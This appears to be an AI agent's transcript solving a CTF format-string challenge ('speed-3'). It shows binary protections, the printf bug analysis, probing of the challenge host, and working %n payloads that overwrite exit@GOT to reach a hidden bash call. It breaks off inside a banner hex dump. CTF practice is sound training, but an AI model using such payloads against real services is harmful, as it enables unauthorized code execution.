# Thread Handoff - Thread: calm-puzzle-1207 - UUID: d08e043d-dc5c-4639-b8db-439167f780d6 - CTF: midnight-sun-ctf-2026-quals - Challenge: speed-3 - Runtime: codex - Model: gpt-5.5 - Status: completed ## Transcript - **Assistant:** I’ll inspect the local challenge files first, then connect to the service once I know what kind of protocol or binary it expects. I’ll keep network use scoped to the challenge host and the webhook updates you requested. - **Assistant:** The challenge ships a 32-bit-looking loader/libc pair plus one executable named `speed3...`, while the prompt points to `speed2.play.ctf.se:9233`. I’m checking the binary protections and behavior next so the remote interaction is targeted. - **Assistant:** [*] '/challenge/speed3-77900a50226a796ec914ed1a5037344c' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) - **Assistant:** The bug is a classic single-shot format string: `fgets` reads up to 127 bytes into a stack buffer, then `printf(buffer)` is called, followed immediately by `exit(0)`. Since the GOT is writable, the likely path is overwriting `exit@GOT` with the hidden `system("/bin/bash")` function at `0x080491d6`. - **Assistant:** Traceback (most recent call last): File "", line 3, in File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/remote.py", line 85, in __init__ self.sock = self._connect(fam, typ) ^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/remote.py", line 113, in _connect for res in socket.getaddrinfo(self.rhost, self.rport, fam, typ, 0, socket.AI_PASSIVE): ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/.local/share/uv/python/cpython-3.12.13-linux-x86_64-gnu/lib/python3.12/socket.py", line 978, in getaddrinfo for res in _socket.getaddrinfo(host, port, family, type, proto, flags): ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ socket.gaierror: [Errno -3] Temporary failure in name resolution - **Assistant:** b' \x1b[38;5;224m\xe2\x96\x84\x1b[48;5;231m\xe2\x96\x84\x1b[0m\x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[38;5;224m\x1b[48;5;231m\xe2\x96\x84\x1b[0m\x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\x1b[0m \x1b[38;5;224m\xe2\x96\x84\x1b[48;5;231m\xe2\x96\x84\x1b[0m\x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[38;5;224m\xe2\x96\x84\x1b[48;5;231m\xe2\x96\x84\x1b[0m\x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[38;5;224m\x1b[48;5;231m\xe2\x96\x84\x1b[0m\x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\x1b[0m \x1b[38;5;224m\x1b[48;5;231m\xe2\x96\x84\x1b[0m\x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\x1b[0m\n \x1b[38;5;224m\x1b[48;5;175m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[48;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[48;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[48;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[48;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m\x1b[38;5;224m\xe2\x96\x84\x1b[0m \x1b[38;5;231m\xe2\x96\x84\x1b[0m\x1b[38;5;224m\xe2\x96\x84\xe2\x96\x84\x1b[0m \x1b[38;5;224m\x1b[48;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m\n \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m\x1b[38;5;224m\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \x1b[0m\x1b[38;5;175m\xe2\x96\x80\x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[38;5;224m\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[48;5;175m\xe2\x96\x80\x1b[0m\n \x1b[38;5;175m\xe2\x96\x80\x1b[0m\x1b[38;5;224m\x1b[48;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[48;5;175m\xe2\x96\x80\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[48;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[48;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[38;5;231m\x1b[48;5;175m\xe2\x96\x84\x1b[0m\x1b[38;5;224m\x1b[38;5;224m\x1b[48;5;175m\xe2\x96\x84\xe2\x96\x84\x1b[0m \x1b[38;5;224m\x1b[48;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m\x1b[38;5;224m\xe2\x96\x84\x1b[0m\n \x1b[38;5;224m\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m\x1b[38;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[48;5;175m\xe2\x96\x80\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[38;5;224m\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m\n \x1b[38;5;224m\x1b[48;5;175m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[38;5;224m\x1b[48;5;175m\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[38;5;224m\x1b[48;5;175m\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[48;5;175m\xe2\x96\x80\x1b[0m \x1b[38;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\x1b[0m \x1b[38;5;224m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\x1b[0m\n \x1b[38;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\x1b[0m \x1b[38;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\x1b[0m \x1b[38;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\x1b[0m \x1b[38;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\x1b[0m \x1b[38;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\x1b[0m \x1b[38;5;175m\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\x1b[0m \n\nfsb: ' b'AAAA.0x80.0xf23f7620.0x80492ae.0xf2446000.0x20.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0xa7025\n' - **Assistant:** Remote probing confirmed the input begins at printf argument 7 (`AAAA` appears as `0x41414141`). I sent a concise progress update to the requested webhook without including any flag. Next I’m using two `%hn` writes to redirect `exit@GOT` to the hidden bash function. - **Assistant:** short 32 b'%299478c%13$n%50c%14$hhn\x1c\xc0\x04\x08\x1f\xc0\x04\x08' byte 48 b'%8c%16$hhn%206c%17$hhn%955c%18$hnaaa\x1f\xc0\x04\x08\x1c\xc0\x04\x08\x1d\xc0\x04\x08' - **Assistant:** [x] Opening connection to speed2.play.ctf.se on port 9233: Trying 13.60.76.107 [+] Opening connection to speed2.play.ctf.se on port 9233: Done [DEBUG] Received 0xa27 bytes: 00000000 20 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 96 84 1b │ ·[3│8;5;│224m│····│ 00000010 5b 34 38 3b 35 3b 32 33 31 6d e2 96 84 1b 5b 30 │[48;│5;23│1m··│··[0│ 00000020 6d 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 96 88 e2 │m·[3│8;5;│224m│····│ 00000030 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 │····│····│····│····│ 00000040 88 e2 96 88 e2 96 88 1b 5b 30 6d 20 1b 5b 33 38 │····│····│[0m │·[38│ 00000050 3b 35 3b 32 32 34 6d 1b 5b 34 38 3b 35 3b 32 33 │;5;2│24m·│[48;│5;23│ 00000060 31 6d e2 96 84 1b 5b 30 6d 1b 5b 33 38 3b 35 3b │1m··│··[0│m·[3│8;5;│ 00000070 32 32 34 6d e2 96 88 e2 96 88 e2 96 88 e2 96 88 │224m│····│····│····│ 00000080 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 │····│····│····│····│ 00000090 96 84 1b 5b 30 6d 20 1b 5b 33 38 3b 35 3b 32 32 │···[│0m ·│[38;│5;22│ 000000a0 34 6d e2 96 84 1b 5b 34 38 3b 35 3b 32 33 31 6d │4m··│··[4│8;5;│231m│ 000000b0 e2 96 84 1b 5b 30 6d 1b 5b 33 38 3b 35 3b 32 32 │····│[0m·│[38;│5;22│ 000000c0 34 6d e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 │4m··│····│····│····│ 000000d0 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 1b 5b 30 │····│····│····│··[0│ 000000e0 6d 20 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 96 84 │m ·[│38;5│;224│m···│ 000000f0 1b 5b 34 38 3b 35 3b 32 33 31 6d e2 96 84 1b 5b │·[48│;5;2│31m·│···[│ 00000100 30 6d 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 96 88 │0m·[│38;5│;224│m···│ 00000110 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 │····│····│····│····│ 00000120 96 88 e2 96 88 e2 96 88 1b 5b 30 6d 20 1b 5b 33 │····│····│·[0m│ ·[3│ 00000130 38 3b 35 3b 32 32 34 6d 1b 5b 34 38 3b 35 3b 32 │8;5;│224m│·[48│;5;2│ 00000140 33 31 6d e2 96 84 1b 5b 30 6d 1b 5b 33 38 3b 35 │31m·│···[│0m·[│38;5│ 00000150 3b 32 32 34 6d e2 96 88 e2 96 88 e2 96 88 e2 96 │;224│m···│····│····│ 00000160 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 84 │····│····│····│····│ 00000170 1b 5b 30 6d 20 20 20 20 20 20 1b 5b 33 38 3b 35 │·[0m│ │ ·[│38;5│ 00000180 3b 32 32 34 6d 1b 5b 34 38 3b 35 3b 32 33 31 6d │;224│m·[4│8;5;│231m│ 00000190 e2 96 84 1b 5b 30 6d 1b 5b 33 38 3b 35 3b 32 32 │····│[0m·│[38;│5;22│ 000001a0 34 6d e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 │4m··│····│····│····│ 000001b0 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 84 │····│····│····│····│ 000001c0 1b 5b 30 6d 0a 20 1b 5b 33 38 3b 35 3b 32 32 34 │·[0m│· ·[│38;5│;224│ 000001d0 6d 1b 5b 34 38 3b 35 3b 31 37 35 6d e2 96 88 e2 │m·[4│8;5;│175m│····│ 000001e0 96 88 e2 96 88 e2 96 88 e2 96 80 e2 96 80 e2 96 │····│····│····│····│ 000001f0 80 e2 96 80 e2 96 80 e2 96 80 e2 96 80 1b 5b 30 │····│····│····│··[0│ 00000200 6d 20 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 96 88 │m ·[│38;5│;224│m···│ 00000210 e2 96 88 e2 96 88 e2 96 88 1b 5b 34 38 3b 35 3b │····│····│··[4│8;5;│ 00000220 31 37 35 6d e2 96 80 e2 96 80 e2 96 80 e2 96 88 │175m│····│····│····│ 00000230 e2 96 88 e2 96 88 e2 96 88 1b 5b 30 6d 20 1b 5b │····│····│··[0│m ·[│ 00000240 33 38 3b 35 3b 32 32 34 6d e2 96 88 e2 96 88 e2 │38;5│;224│m···│····│ 00000250 96 88 e2 96 88 1b 5b 34 38 3b 35 3b 31 37 35 6d │····│··[4│8;5;│175m│ 00000260 e2 96 80 e2 96 80 e2 96 80 e2 96 80 e2 96 80 e2 │····│····│····│····│ 00000270 96 80 e2 96 80 1b 5b 30 6d 20 1b 5b 33 38 3b 35 │····│··[0│m ·[│38;5│ 00000280 3b 32 32 34 6d e2 96 88 e2 96 88 e2 96 88 e2 96 │;224│m···│····│····│ 00000290 88 1b 5b 34 38 3b 35 3b 31 37 35 6d e2 96 80 e2 │··[4│8;5;│175m│····│ 000002a0 96 80 e2 96 80 e2 96 80 e2 96 80 e2 96 80 e2 96 │····│····│····│····│ 000002b0 80 1b 5b 30 6d 20 1b 5b 33 38 3b 35 3b 32 32 34 │··[0│m ·[│38;5│;224│ 000002c0 6d e2 96 88 e2 96 88 e2 96 88 e2 96 88 1b 5b 34 │m···│····│····│··[4│ 000002d0 38 3b 35 3b 31 37 35 6d e2 96 80 e2 96 80 e2 96 │8;5;│175m│····│····│ 000002e0 88 e2 96 88 e2 96 88 e2 96 88 1b 5b 30 6d 1b 5b │····│····│···[│0m·[│ 000002f0 33 38 3b 35 3b 32 32 34 6d e2 96 84 1b 5b 30 6d │38;5│;224│m···│·[0m│ 00000300 20 1b 5b 33 38 3b 35 3b 32 33 31 6d e2 96 84 1b │ ·[3│8;5;│231m│····│ 00000310 5b 30 6d 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 96 │[0m·│[38;│5;22│4m··│ 00000320 84 e2 96 84 1b 5b 30 6d 20 1b 5b 33 38 3b 35 3b │····│·[0m│ ·[3│8;5;│ 00000330 32 32 34 6d 1b 5b 34 38 3b 35 3b 31 37 35 6d e2 │224m│·[48│;5;1│75m·│ 00000340 96 80 e2 96 80 e2 96 80 e2 96 80 e2 96 80 e2 96 │····│····│····│····│ 00000350 80 e2 96 80 e2 96 88 e2 96 88 e2 96 88 e2 96 88 │····│····│····│····│ 00000360 1b 5b 30 6d 0a 20 1b 5b 33 38 3b 35 3b 32 32 34 │·[0m│· ·[│38;5│;224│ 00000370 6d e2 96 88 e2 96 88 e2 96 88 e2 96 88 1b 5b 30 │m···│····│····│··[0│ 00000380 6d 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 96 84 e2 │m·[3│8;5;│224m│····│ 00000390 96 84 e2 96 84 e2 96 84 e2 96 84 e2 96 84 1b 5b │····│····│····│···[│ 000003a0 30 6d 20 20 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 │0m │·[38│;5;2│24m·│ 000003b0 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 84 e2 96 │····│····│····│····│ 000003c0 84 e2 96 84 e2 96 88 e2 96 88 e2 96 88 e2 96 88 │····│····│····│····│ 000003d0 1b 5b 30 6d 20 1b 5b 33 38 3b 35 3b 32 32 34 6d │·[0m│ ·[3│8;5;│224m│ 000003e0 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 84 e2 │····│····│····│····│ 000003f0 96 84 e2 96 84 1b 5b 30 6d 20 20 20 20 20 1b 5b │····│··[0│m │ ·[│ 00000400 33 38 3b 35 3b 32 32 34 6d e2 96 88 e2 96 88 e2 │38;5│;224│m···│····│ 00000410 96 88 e2 96 88 e2 96 84 e2 96 84 e2 96 84 1b 5b │····│····│····│···[│ 00000420 30 6d 20 20 20 20 20 1b 5b 33 38 3b 35 3b 32 32 │0m │ ·│[38;│5;22│ 00000430 34 6d e2 96 88 e2 96 88 e2 96 88 e2 96 88 20 20 │4m··│····│····│·· │ 00000440 1b 5b 30 6d 1b 5b 33 38 3b 35 3b 31 37 35 6d e2 │·[0m│·[38│;5;1│75m·│ 00000450 96 80 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 96 88 │···[│38;5│;224│m···│ 00000460 e2 96 88 e2 96 88 e2 96 88 1b 5b 30 6d 20 1b 5b │····│····│··[0│m ·[│ 00000470 33 38 3b 35 3b 32 32 34 6d e2 96 88 e2 96 88 e2 │38;5│;224│m···│····│ 00000480 96 88 1b 5b 30 6d 20 20 20 20 20 1b 5b 33 38 3b │···[│0m │ ·│[38;│ 00000490 35 3b 32 32 34 6d e2 96 84 e2 96 84 e2 96 84 e2 │5;22│4m··│····│····│ 000004a0 96 88 e2 96 88 e2 96 88 1b 5b 34 38 3b 35 3b 31 │····│····│·[48│;5;1│ 000004b0 37 35 6d e2 96 80 1b 5b 30 6d 0a 20 1b 5b 33 38 │75m·│···[│0m· │·[38│ 000004c0 3b 35 3b 31 37 35 6d e2 96 80 1b 5b 30 6d 1b 5b │;5;1│75m·│···[│0m·[│ 000004d0 33 38 3b 35 3b 32 32 34 6d 1b 5b 34 38 3b 35 3b │38;5│;224│m·[4│8;5;│ 000004e0 31 37 35 6d e2 96 80 e2 96 80 e2 96 80 e2 96 80 │175m│····│····│····│ 000004f0 e2 96 80 e2 96 80 e2 96 88 e2 96 88 e2 96 88 e2 │····│····│····│····│ 00000500 96 88 1b 5b 30 6d 20 1b 5b 33 38 3b 35 3b 32 32 │···[│0m ·│[38;│5;22│ 00000510 34 6d e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 │4m··│····│····│····│ 00000520 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 │····│····│····│····│ 00000530 1b 5b 34 38 3b 35 3b 31 37 35 6d e2 96 80 1b 5b │·[48│;5;1│75m·│···[│ 00000540 30 6d 20 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 96 │0m ·│[38;│5;22│4m··│ 00000550 88 e2 96 88 e2 96 88 e2 96 88 1b 5b 34 38 3b 35 │····│····│···[│48;5│ 00000560 3b 31 37 35 6d e2 96 80 e2 96 80 e2 96 80 1b 5b │;175│m···│····│···[│ 00000570 30 6d 20 20 20 20 20 1b 5b 33 38 3b 35 3b 32 32 │0m │ ·│[38;│5;22│ 00000580 34 6d e2 96 88 e2 96 88 e2 96 88 e2 96 88 1b 5b │4m··│····│····│···[│ 00000590 34 38 3b 35 3b 31 37 35 6d e2 96 80 e2 96 80 e2 │48;5│;175│m···│····│ 000005a0 96 80 1b 5b 30 6d 20 20 20 20 20 1b 5b 33 38 3b │···[│0m │ ·│[38;│ 000005b0 35 3b 32 32 34 6d e2 96 88 e2 96 88 e2 96 88 e2 │5;22│4m··│····│····│ 000005c0 96 88 20 20 20 e2 96 88 e2 96 88 e2 96 88 e2 96 │·· │ ···│····│····│ 000005d0 88 1b 5b 30 6d 20 1b 5b 33 38 3b 35 3b 32 33 31 │··[0│m ·[│38;5│;231│ 000005e0 6d 1b 5b 34 38 3b 35 3b 31 37 35 6d e2 96 84 1b │m·[4│8;5;│175m│····│ 000005f0 5b 30 6d 1b 5b 33 38 3b 35 3b 32 32 34 6d 1b 5b │[0m·│[38;│5;22│4m·[│ 00000600 33 38 3b 35 3b 32 32 34 6d 1b 5b 34 38 3b 35 3b │38;5│;224│m·[4│8;5;│ 00000610 31 37 35 6d e2 96 84 e2 96 84 1b 5b 30 6d 20 20 │175m│····│···[│0m │ 00000620 20 20 20 1b 5b 33 38 3b 35 3b 32 32 34 6d 1b 5b │ ·│[38;│5;22│4m·[│ 00000630 34 38 3b 35 3b 31 37 35 6d e2 96 80 e2 96 80 e2 │48;5│;175│m···│····│ 00000640 96 80 e2 96 88 e2 96 88 e2 96 88 1b 5b 30 6d 1b │····│····│····│[0m·│ 00000650 5b 33 38 3b 35 3b 32 32 34 6d e2 96 84 1b 5b 30 │[38;│5;22│4m··│··[0│ 00000660 6d 0a 20 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 96 │m· ·│[38;│5;22│4m··│ 00000670 84 e2 96 84 e2 96 84 e2 96 84 e2 96 84 e2 96 84 │····│····│····│····│ 00000680 e2 96 84 e2 96 88 e2 96 88 e2 96 88 e2 96 88 1b │····│····│····│····│ 00000690 5b 30 6d 20 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 │[0m │·[38│;5;2│24m·│ 000006a0 96 88 e2 96 88 e2 96 88 e2 96 88 1b 5b 30 6d 1b │····│····│····│[0m·│ 000006b0 5b 33 38 3b 35 3b 31 37 35 6d e2 96 80 e2 96 80 │[38;│5;17│5m··│····│ 000006c0 e2 96 80 e2 96 80 e2 96 80 e2 96 80 1b 5b 30 6d │····│····│····│·[0m│ 000006d0 20 20 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 96 88 │ ·[│38;5│;224│m···│ 000006e0 e2 96 88 e2 96 88 e2 96 88 e2 96 84 e2 96 84 e2 │····│····│····│····│ 000006f0 96 84 e2 96 84 e2 96 84 e2 96 84 e2 96 84 1b 5b │····│····│····│···[│ 00000700 30 6d 20 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 96 │0m ·│[38;│5;22│4m··│ 00000710 88 e2 96 88 e2 96 88 e2 96 88 e2 96 84 e2 96 84 │····│····│····│····│ 00000720 e2 96 84 e2 96 84 e2 96 84 e2 96 84 e2 96 84 1b │····│····│····│····│ 00000730 5b 30 6d 20 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 │[0m │·[38│;5;2│24m·│ 00000740 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 84 e2 96 │····│····│····│····│ 00000750 84 e2 96 88 e2 96 88 e2 96 88 e2 96 88 1b 5b 34 │····│····│····│··[4│ 00000760 38 3b 35 3b 31 37 35 6d e2 96 80 1b 5b 30 6d 20 │8;5;│175m│····│[0m │ 00000770 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 96 88 e2 96 │·[38│;5;2│24m·│····│ 00000780 88 e2 96 88 1b 5b 30 6d 20 1b 5b 33 38 3b 35 3b │····│·[0m│ ·[3│8;5;│ 00000790 32 32 34 6d e2 96 84 e2 96 84 e2 96 84 e2 96 84 │224m│····│····│····│ 000007a0 e2 96 84 e2 96 84 e2 96 84 e2 96 88 e2 96 88 e2 │····│····│····│····│ 000007b0 96 88 e2 96 88 1b 5b 30 6d 0a 20 1b 5b 33 38 3b │····│··[0│m· ·│[38;│ 000007c0 35 3b 32 32 34 6d 1b 5b 34 38 3b 35 3b 31 37 35 │5;22│4m·[│48;5│;175│ 000007d0 6d e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 │m···│····│····│····│ 000007e0 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 │····│····│····│····│ 000007f0 96 80 1b 5b 30 6d 20 1b 5b 33 38 3b 35 3b 32 32 │···[│0m ·│[38;│5;22│ 00000800 34 6d e2 96 88 e2 96 88 e2 96 88 e2 96 88 1b 5b │4m··│····│····│···[│ 00000810 30 6d 20 20 20 20 20 20 20 20 1b 5b 33 38 3b 35 │0m │ │ ·[│38;5│ 00000820 3b 32 32 34 6d 1b 5b 34 38 3b 35 3b 31 37 35 6d │;224│m·[4│8;5;│175m│ 00000830 e2 96 80 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 │····│····│····│····│ 00000840 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 │····│····│····│····│ 00000850 88 1b 5b 30 6d 20 1b 5b 33 38 3b 35 3b 32 32 34 │··[0│m ·[│38;5│;224│ 00000860 6d 1b 5b 34 38 3b 35 3b 31 37 35 